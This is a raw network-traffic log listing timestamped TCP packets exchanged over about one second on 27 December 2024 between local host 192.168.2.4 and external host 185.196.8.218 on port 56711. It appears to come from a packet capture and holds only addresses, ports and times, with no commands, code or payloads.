Dec 27, 2024 09:09:12.814892054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.814986944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.815032005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.815696955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.815835953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.816488981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.816607952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.816616058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.816890955 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.817220926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.817327023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.818010092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.818135977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.818156004 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.818826914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.818830013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.818900108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.819298029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.819583893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.819700956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.819756031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.820362091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.820528984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.820576906 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.821113110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.868736029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.982095003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.982264042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.982279062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.982291937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.982325077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.982383013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.982620955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.982705116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.982717037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.982810974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.983186960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.983237028 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.983432055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.984307051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.984319925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.984360933 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.985083103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.985096931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.985165119 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.986205101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.986217022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.986650944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.986663103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.987106085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.987173080 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.987334013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.988114119 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.988126993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.988207102 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.989826918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.989842892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.989854097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.989885092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.989924908 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.989924908 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.990230083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.990288019 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.990348101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.991573095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.991591930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.991647005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.991808891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.991897106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.991940975 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.992571115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.992654085 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.992700100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.993362904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.993429899 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.993468046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.994139910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.994220972 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.994256973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.994945049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.995038033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.995055914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.995738029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.995794058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.995820999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.996495962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.996547937 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.996588945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.997292995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.997344017 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.997402906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.998075962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.998155117 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.998168945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001272917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001322031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.001434088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001446962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001485109 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.001596928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001607895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001620054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001632929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001643896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.001671076 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.001687050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.002180099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.002228022 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.002336979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.003133059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.003196001 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.003289938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.003911018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.003922939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.003983974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.004411936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.004425049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.004467010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.005134106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.005188942 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.005242109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.006175995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.006187916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.006228924 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.006699085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.006768942 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.006810904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.007644892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.007688999 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.008192062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.008894920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.008929014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.008960009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.009046078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.009143114 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.009165049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.009913921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.009951115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.009968042 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.010616064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.010694981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.010723114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.011395931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.011502981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.011797905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.012530088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.012542009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.012605906 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.013360977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.013375044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.013422966 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.013741970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.013811111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.013849020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.014744043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.014756918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.014806032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.015294075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.015351057 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.015402079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.016103983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.016151905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.016177893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.016875029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.016926050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.016969919 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.017659903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.017765999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.017841101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.018455982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.018518925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.018569946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.019258022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.019318104 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.019367933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.020025969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.020098925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.020139933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.020778894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.020848989 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.020931005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.021579981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.021653891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.021668911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.069267988 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.240705967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.240812063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.240981102 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.241138935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.241311073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.241360903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.241903067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.242007017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.242089033 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.242671967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.242794037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.242875099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.243451118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.243577003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.243669033 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.244214058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.244330883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.244389057 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.245013952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.245105028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.245174885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.245786905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.245851040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.245904922 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.246582985 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.246716976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.246779919 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.247366905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.247462988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.247529030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.248146057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.248235941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.248296976 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.248924971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.248977900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.249051094 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.249767065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.249865055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.249926090 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.250654936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.250713110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.250760078 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.251332998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.251422882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.251477957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.252068043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.252191067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.252242088 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.252860069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.252938986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.253026962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.253637075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.253736019 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.253798962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.254527092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.254621029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.254697084 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.255270004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.255340099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.255405903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.256038904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.256092072 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.256167889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.256793976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.256881952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.256944895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.257550955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.257631063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.257694960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.258337021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.258411884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.258517027 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.259126902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.259206057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.259274960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.259910107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.260032892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.260104895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.260668993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.260790110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.260845900 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.261467934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.261593103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.261667967 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.262245893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.262343884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.262407064 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.263020039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.263127089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.263220072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.263823032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.263932943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.263983011 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.264621019 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.264712095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.264784098 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.265391111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.265538931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.265593052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.266170025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.266282082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.266340971 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.266940117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.267097950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.267178059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.267750978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.267904997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.267972946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.268513918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.268616915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.268671989 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.269309998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.269433022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.269484043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.270093918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.270236015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.270318031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.270911932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.270993948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.271069050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.271671057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.271797895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.271852016 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.272442102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.272573948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.272625923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.273251057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.273359060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.273431063 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.274034023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.274127007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.274188042 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.274782896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.274951935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.275005102 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.275686979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.275748014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.275810957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.276367903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.276478052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.276525974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.277184963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.277307987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.277365923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.277916908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.278044939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.278157949 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.278706074 CET	56711	49731	185.196.8.218	192.168.2.4
